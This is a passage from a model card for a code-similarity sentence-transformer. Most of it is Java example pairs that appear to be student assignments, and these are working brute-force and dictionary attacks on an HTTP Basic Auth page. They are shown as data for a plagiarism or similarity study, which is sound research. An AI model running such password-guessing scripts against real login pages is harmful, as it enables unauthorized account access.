\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\
\ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\
\ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\
\ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\
\ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\
\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\
\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\
\ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\
\ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\
\ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\
\ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\
\ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\
\ = in.readLine()) != null) {\n System.out.println(line);\n \
\ status = true;\n }\n }\n catch (IOException e) {\n \n\
\ }\n }\n\n public InputStream connectURL (URL url, String uname,\
\ String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\
\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\
\ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \
\ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
\ String mesg1 = new String();\n String subject = new String(\"\
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
\ \n if(initialmd5.equals(presentmd5))\n \
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
);\n System.out.println(\" is different\"); \n \
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
}\t\t\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\
\ class Dictionary {\n\n URLConnection conn = null;\n private static boolean\
\ status = false;\n\n public static void main (String args[]){\n Dictionary\
\ a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\"\
);\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\
import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\
import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\
\ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\
\ }\n\n public static void main(String[] args)\n {\n Dictionary\
\ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\
\ System.out.println(dictionary.printUsage());\n }\n \
\ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\
\ dictionary.setWordFile(args[2]);\n\n if (args.length >\
\ 3)\n {\n dictionary.setFileName(args[3]);\n \
\ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\
\ System.exit(1);\n }\n }\n\n public void process()\n\
\ {\n attempts = 0;\n String password = \"\";\n \n \
\ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\
\ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\
\ \n input = new BufferedReader(file);\n \n \
\ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\
File not found: \" + getWordFile());\n System.exit(2);\n }\n\
\n try\n {\n while ((password = input.readLine()) !=\
\ null)\n {\n try\n {\n \
\ \n attempts++;\n BasicAuthHttpRequest\
\ req =\n new BasicAuthHttpRequest(\n \
\ getURL(),\n getUserName(),\n \
\ password);\n setPassword(password);\n \
\ setEnd(new Timestamp(System.currentTimeMillis()));\n \
\ setContent(req.getContent().toString());\n\n \
\ \n if (getFileName() != null\n &&\
\ getFileName().length() > 0)\n {\n \
\ createReport();\n }\n return;\n \
\ }\n catch (MalformedURLException e)\n \
\ {\n e.printStackTrace();\n return;\n\
\ }\n catch (IOException e)\n {\n\
\n }\n }\n }\n catch (IOException x)\n\
\ {\n x.printStackTrace();\n }\n\n \n setEnd(new\
\ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\
\ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\
\ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\
\ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\
n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\
\ {\n return wordFile;\n }\n\n \n public void setWordFile(String\
\ string)\n {\n wordFile = string;\n }\n\n}\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts\
\ = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\
\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public\
\ void attack(String args[]) {\n try {\n String login = new String(\"\"\
);\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
);\n String passwd = new String();\n\n\n passwd = getPasswd();\n \
\ BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new\
\ URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine())\
\ != null) {\n System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n \
\ {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\
\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n\
\ int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing\
\ dictionary word and waiting for URL reply....... \");\n String currentword\
\ = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream\
\ (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available()\
\ !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException\
\ e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput\
\ (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\"\
, userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n\
\ }\n\n\n public String userNamePasswordBase64(String username, String password)\
\ {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\
\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q',\
\ 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e',\
\ 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q',\
\ 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n \
\ '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String\
\ base64Encode (String string) {\n String encodedString = \"\";\n byte\
\ bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while\
\ (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n \
\ byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3\
\ = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n\
\ if (i >= bytes.length) {\n b3 = 0;\n pad =\
\ 1;\n }\n else\n b3 = bytes [i++];\n \
\ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\
\ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\
\ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\
\ encodedString += base64Array [c2];\n switch (pad) {\n case\
\ 0:\n encodedString += base64Array [c3];\n encodedString +=\
\ base64Array [c4];\n break;\n case 1:\n encodedString\
\ += base64Array [c3];\n encodedString += \"=\";\n break;\n\
\ case 2:\n encodedString += \"==\";\n break;\n \
\ }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\
\ public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n\
\ a.attack(args);\n }\n\n public void attack(String args[]) {\n \
\ try {\n\n String login = new String(\"\");\n String url = new String(\"\
http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new\
\ String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader(\
\ new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n\
\ String line;\n while ((line = in.readLine()) != null) {\n \
\ System.out.println(line);\n }\n System.out.println(\"\
Password Cracked Successfully!!!\");\n System.out.println(\"The passsword\
\ is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n \
\ catch (IOException e) {\n \n String r = new String(e.getMessage());\n\
\ if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n \
\ System.out.println(\"Trying again with new password\");\n Bruteforce a =\
\ new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"\
Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n\
\ }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n \
\ char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; \
\ int j= m; int k= n;\n\n String c = new String();\n String c1 = new\
\ String();\n String c2 = new String();\n String c3 = new String();\n \
\ String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n \
\ for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true\
\ )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n\
\ if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\
\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n\
\ }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream\
\ openURLForInput (URL url, String uname, String pword)\n throws IOException \
\ {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty\
\ (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n \
\ return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String\
\ username, String password) {\n return \" \" + base64Encode (username + \"\
:\" + password);\n }\n\n private final static char base64Array [] = {\n \
\ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y',\
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm',\
\ 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y',\
\ 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\
\n private static String base64Encode (String string) {\n String encodedString\
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int\
\ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \
\ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2\
\ = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n \
\ b2 = bytes [i++];\n if (i >= bytes.length) {\n b3\
\ = 0;\n pad = 1;\n }\n else\n b3\
\ = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte\
\ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 &\
\ 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
